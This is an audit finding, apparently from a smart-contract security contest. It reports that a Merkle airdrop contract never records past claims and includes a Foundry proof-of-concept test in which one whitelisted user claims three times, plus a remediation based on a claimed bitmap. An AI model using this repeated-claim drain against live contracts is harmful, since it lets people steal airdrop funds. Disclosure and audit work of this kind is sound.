The MerkleAirdrop.sol contract does not contain any mechanism to keep track of whether an address has already claimed the airdrop. This means that any of the whitelisted users can choose to continuously call the claim() function. The contract requires a certain fee to be paid to be able to claim the airdrop. If the value of the airdrop is greater than the value of the fee, a whitelisted user has an arbitrage incentive to continuously call the claim() function until the contract is drained.
Here is a proof of concept of a whitelisted user claiming the airdrop multiple times :
function testUsersCanClaimMultiple() public {
uint256 startingBalance = token.balanceOf(collectorOne);
console.log("Starting Balance : ", startingBalance);
vm.deal(collectorOne, airdrop.getFee());
vm.startPrank(collectorOne);
airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof);
vm.stopPrank();
uint256 endingBalance1 = token.balanceOf(collectorOne);
assertEq(endingBalance1 - startingBalance, amountToCollect);
console.log("Ending Balance First Claim: ", endingBalance1);
vm.deal(collectorOne, airdrop.getFee());
vm.startPrank(collectorOne);
airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof);
vm.stopPrank();
uint256 endingBalance2 = token.balanceOf(collectorOne);
console.log("Ending Balance Second Claim : ", endingBalance2);
assert(endingBalance1 < endingBalance2);
vm.deal(collectorOne, airdrop.getFee());
vm.startPrank(collectorOne);
airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof);
vm.stopPrank();
uint256 endingBalance3 = token.balanceOf(collectorOne);
console.log("Ending Balance Third Claim : ", endingBalance3);
assert(endingBalance2 < endingBalance3);
}
Here are the returned logs :
Logs:
Starting Balance : 0
Ending Balance First Claim: 25000000
Ending Balance Second Claim : 50000000
Ending Balance Third Claim : 75000000
The contract could be drained of the airdrop token.
Foundry
Include some mechanism to keep track of whether an address has already claimed the airdrop in the past. For reference, here is how Uniswap's MerkleDistributor.sol keeps track of previous claims.
// This is a packed array of booleans.
mapping(uint256 => uint256) private claimedBitMap;
function isClaimed(uint256 index) public view override returns (bool) {
uint256 claimedWordIndex = index / 256;
uint256 claimedBitIndex = index % 256;
uint256 claimedWord = claimedBitMap[claimedWordIndex];
uint256 mask = (1 << claimedBitIndex);
return claimedWord & mask == mask;
}
function _setClaimed(uint256 index) private {
uint256 claimedWordIndex = index / 256;
uint256 claimedBitIndex = index % 256;
claimedBitMap[claimedWordIndex] = claimedBitMap[claimedWordIndex] | (1 << claimedBitIndex);
}
The contest is live. Earn rewards by submitting a finding.
This is your time to appeal against judgements on your submissions.
Appeals are being carefully reviewed by our judges.